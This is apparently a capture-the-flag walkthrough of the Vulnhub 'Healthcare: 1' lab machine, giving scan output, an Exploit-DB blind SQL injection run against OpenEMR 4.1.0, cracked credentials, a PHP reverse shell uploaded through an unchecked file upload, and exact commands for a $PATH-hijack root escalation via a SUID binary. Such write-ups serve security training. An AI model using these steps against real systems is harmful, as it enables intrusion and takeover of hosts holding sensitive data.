This post outlines the steps that were taken to fully compromise the “Healthcare: 1” host from Vulnhub.
Nmap Results
1
2
3
4
5
6
7
8
9
# Nmap 7.92 scan initiated Thu Jul 21 17:51:49 2022 as: nmap -T5 -p- -oA scan 10.9.9.56
Nmap scan report for 10.9.9.56
Host is up (0.00033s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
# Nmap done at Thu Jul 21 17:51:51 2022 -- 1 IP address (1 host up) scanned in 1.99 seconds
Service Enumeration
TCP/80
robots.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# $Id: robots.txt 410967 2009-08-06 19:44:54Z oden $
# $HeadURL: svn+ssh://svn.mandriva.com/svn/packages/cooker/apache-conf/current/SOURCES/robots.txt $
# exclude help system from robots
User-agent: *
Disallow: /manual/
Disallow: /manual-2.2/
Disallow: /addon-modules/
Disallow: /doc/
Disallow: /images/
# the next line is a spam bot trap, for grepping the logs. you should _really_ change this to something else...
Disallow: /all_our_e-mail_addresses
# same idea here...
Disallow: /admin/
# but allow htdig to index our doc-tree
#User-agent: htdig
#Disallow:
# disallow stress test
user-agent: stress-agent
Disallow: /
Web Enumeration
Begin by examining the paths listed in robots.txt, with particular attention to /addon-modules. Although this path appears legitimate, it can only be accessed from the localhost address, while all others return a 404 error. To further explore potential paths, consider using gobuster enumeration on the site’s root:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gobuster dir -u http://10.9.9.56/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,html -t 200 -o gobuster.txt -r
/index (Status: 200) [Size: 5031]
/index.html (Status: 200) [Size: 5031]
/images (Status: 403) [Size: 1009]
/css (Status: 403) [Size: 1009]
/js (Status: 403) [Size: 1009]
/robots (Status: 200) [Size: 620]
/vendor (Status: 403) [Size: 1009]
/favicon (Status: 200) [Size: 1406]
/fonts (Status: 403) [Size: 1009]
/gitweb (Status: 403) [Size: 1009]
/phpMyAdmin (Status: 403) [Size: 59]
/server-status (Status: 403) [Size: 995]
/server-info (Status: 403) [Size: 995]
/openemr (Status: 200) [Size: 131]
Upon reviewing the findings, the /openemr resource immediately catches my attention.
Based on information from the Exploit Database, it appears that this version of OpenEMR is susceptible to a SQL injection vulnerability.
1
2
3
4
5
6
7
8
9
searchsploit openemr 4.1.0
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenEMR 4.1.0 - 'u' SQL Injection | php/webapps/49742.py
Openemr-4.1.0 - SQL Injection | php/webapps/17998.txt
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Exploit
The script 49742.py is designed to perform an unauthenticated blind SQL injection attack, with the objective of identifying usernames and hashes by comparing sleep duration with character guesses. To execute the exploit, we must modify the variable to include the URL of our target.
1
url = "http://192.168.56.106/openemr/interface/login/validateUser.php?u="
Due to the blind nature of this SQL injection, it may take some time to execute.
1
python ./49742.py
We’ll simply collect the hashes and save them in a file, which we can then use John the Ripper to crack.
1
2
admin:3863efef9ee2bfbc51ecdca359c6302bed1389e8
medical:ab24aed5a7c4ad45615cd7e0da816eea39e4895d
1
2
3
4
john --wordlist=/usr/share/seclists/Passwords/xato-net-10-million-passwords.txt hash
medical (medical)
ackbar (admin)
Therefore, the login credentials are:
- admin:ackbar
- medical:medical
Our initial goal is to reexamine the FTP service to determine if the login credentials provide access.
- admin:ackbar doesn’t work
- medical:medical works!
We have come across some intriguing files.
- /Documents
- Passwords.txt
After finishing the enumeration of the FTP service, we log in to OpenEMR as admin:ackbar and search for potential opportunities to execute code for a reverse shell.
Within the Administration menu, there exists a Files interface that presents the possibility of either modifying an existing .php file or exploiting the upload feature.
The MIME type is not verified during file upload, allowing us to upload a .php file and navigate to http://10.9.9.56/openemr/sites/default/images/shell.php to obtain a reverse shell on the target. We utilize the traditional PHP reverse shell payload from pentestmonkey.
Post-Exploit Enumeration
Current User
uid=479(apache) gid=416(apache) groups=416(apache)
sudo binary not installed
OS & Kernel
1
2
3
ZEN-mini release 2011 (PCLinuxOS) for i586
Linux localhost.localdomain 2.6.38.8-pclos3.bfs #1 SMP PREEMPT Fri Jul 8 18:01:30 CDT 2011 i686 i686 i386 GNU/Linux
Users
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/sbin:/bin/sh
adm:x:3:4:adm:/var/adm:/bin/sh
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/bin/sh
news:x:9:13:news:/var/spool/news:/bin/sh
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
operator:x:11:0:operator:/var:/bin/sh
games:x:12:100:games:/usr/games:/bin/sh
nobody:x:65534:65534:Nobody:/:/bin/sh
rpm:x:499:499:system user for rpm:/var/lib/rpm:/bin/false
avahi:x:498:498:system user for avahi:/var/avahi:/bin/false
avahi-autoipd:x:497:497:system user for avahi:/var/avahi:/bin/false
messagebus:x:496:496:system user for dbus:/:/sbin/nologin
haldaemon:x:495:495:system user for hal:/:/sbin/nologin
vcsa:x:69:494:virtual console memory owner:/dev:/sbin/nologin
polkituser:x:494:490:system user for policykit:/:/sbin/nologin
uuidd:x:493:489:system user for util-linux-ng:/var/lib/libuuid:/bin/false
mysql:x:492:488:system user for mysql:/var/lib/mysql:/bin/bash
sshd:x:491:485:system user for openssh:/var/empty:/bin/true
rtkit:x:489:483:system user for rtkit:/proc:/sbin/nologin
rpc:x:488:482:system user for rpcbind:/var/lib/lib/rpcbind:/sbin/nologin
rpcuser:x:487:481:system user for nfs-utils:/var/lib/lib/nfs:/bin/false
ntp:x:486:480:system user for ntp:/etc/ntp:/bin/false
xfs:x:485:479:system user for xfs:/etc/X11/fs:/bin/false
saned:x:484:478:system user for saned:/home/saned:/bin/false
squid:x:483:420:system user for squid:/var/spool/squid:/bin/false
dansguardian:x:482:419:system user for dansguardian:/var/lib/dansguardian:/bin/false
gdm:x:481:418:system user for gdm:/var/lib/gdm:/bin/false
usbmux:x:480:417:system user for usbmuxd:/proc:/sbin/nologin
medical:x:500:500:PCLinuxOS Medical:/home/medical:/bin/bash
apache:x:479:416:system user for httpd-conf:/var/www:/bin/sh
ftp:x:478:415:system user for proftpd:/var/ftp:/bin/false
almirant:x:501:502:Almirant:/home/almirant:/bin/bash
Groups
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
root:x:0:
bin:x:1:
daemon:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:mysql,medical,almirant
mem:x:8:
kmem:x:9:
wheel:x:10:
mail:x:12:
news:x:13:
uucp:x:14:
man:x:15:
floppy:x:19:mysql,medical,almirant
games:x:20:
tape:x:21:
cdrom:x:22:mysql,medical,almirant
utmp:x:24:
shadow:x:25:
chkpwd:x:26:
auth:x:27:
usb:x:43:saned
cdwriter:x:80:mysql,saned,medical,almirant
audio:x:81:mysql,medical,almirant
video:x:82:mysql,medical,almirant
dialout:x:83:mysql,medical,almirant
users:x:100:mysql,medical,almirant
nogroup:x:65534:
rpm:x:499:
avahi:x:498:
avahi-autoipd:x:497:
messagebus:x:496:
haldaemon:x:495:
vcsa:x:494:
xgrp:x:493:
ntools:x:492:
ctools:x:491:
polkituser:x:490:mysql,medical,almirant
uuidd:x:489:
mysql:x:488:
pulse-access:x:487:mysql
slocate:x:486:
sshd:x:485:
rtkit:x:483:
rpc:x:482:
rpcuser:x:481:
ntp:x:480:
xfs:x:479:
saned:x:478:
lpadmin:x:477:mysql
machines:x:421:
squid:x:420:
dansguardian:x:419:
fuse:x:501:mysql,medical
gdm:x:418:
usbmux:x:417:
medical:x:500:
apache:x:416:
ftp:x:415:
almirant:x:502:
Network
Interfaces
1
2
3
4
5
6
7
8
9
10
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 5e:78:42:6d:7c:fe brd ff:ff:ff:ff:ff:ff
inet 10.9.9.56/24 brd 10.9.9.255 scope global eth1
inet6 fe80::5c78:42ff:fe6d:7cfe/64 scope link
valid_lft forever preferred_lft forever
Open ports
1
2
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN -
tcp 0 0 :::80 :::* LISTEN -
Processes
We haven’t discovered anything particularly noteworthy, but it appears that MySQL may be operational. Strangely, we are unable to detect any ports on which it is listening.
Interesting Files
/usr/bin/healthcheck
Custom SUID binary with root owner
-rwsr-sr-x 1 root root 5813 Jul 29 2020 /usr/bin/healthcheck
Privilege Escalation
When conducting post-exploit enumeration on a Linux machine, one fundamental aspect to investigate is SUID files.
find / -type f -user root -perm /4000 -exec ls -l {} \; 2>/dev/null
The strings binary is already installed on this target, enabling me to examine the binary and potentially uncover a path injection candidate or comparable exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
strings /usr/bin/healthcheck
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
setuid
system
setgid
__libc_start_main
GLIBC_2.0
PTRhp
[^_]
clear ; echo 'System Health Check' ; echo '' ; echo 'Scanning System' ; sleep 2 ; ifconfig ; fdisk -l ; du -
This is a simple victory as it is an ideal prospect for $PATH injection. Given that all of these commands are denoted by their relative names and not absolute paths, such as /usr/bin/clear, we can exploit path precedence and obtain a shell as root:
1
2
3
4
5
6
7
8
# Copy the bash binary to /tmp/clear
cp /bin/bash /tmp/clear
# Add /tmp first in path precedence so /tmp/clear resolves first
export PATH=/tmp:$PATH
# Run the binary
/usr/bin/healthcheck
By executing the /usr/bin/healthcheck binary, it will function at the root
user’s privilege level within our session, reading binaries from our $PATH environment. We duplicate /bin/bash
as /tmp/clear
. Consequently, when /usr/bin/healthcheck
runs and attempts to activate the clear command, it will resolve clear => /tmp/clear
instead of /usr/bin/clear
as we have placed /tmp
first in our $PATH
variable.
Flags
/home/almirant/user.txt
User
1
d41d8cd98f00b204e9800998ecf8427e
Root
1
root hash: eaff25eaa9ffc8b62e3dfebf70e83a7b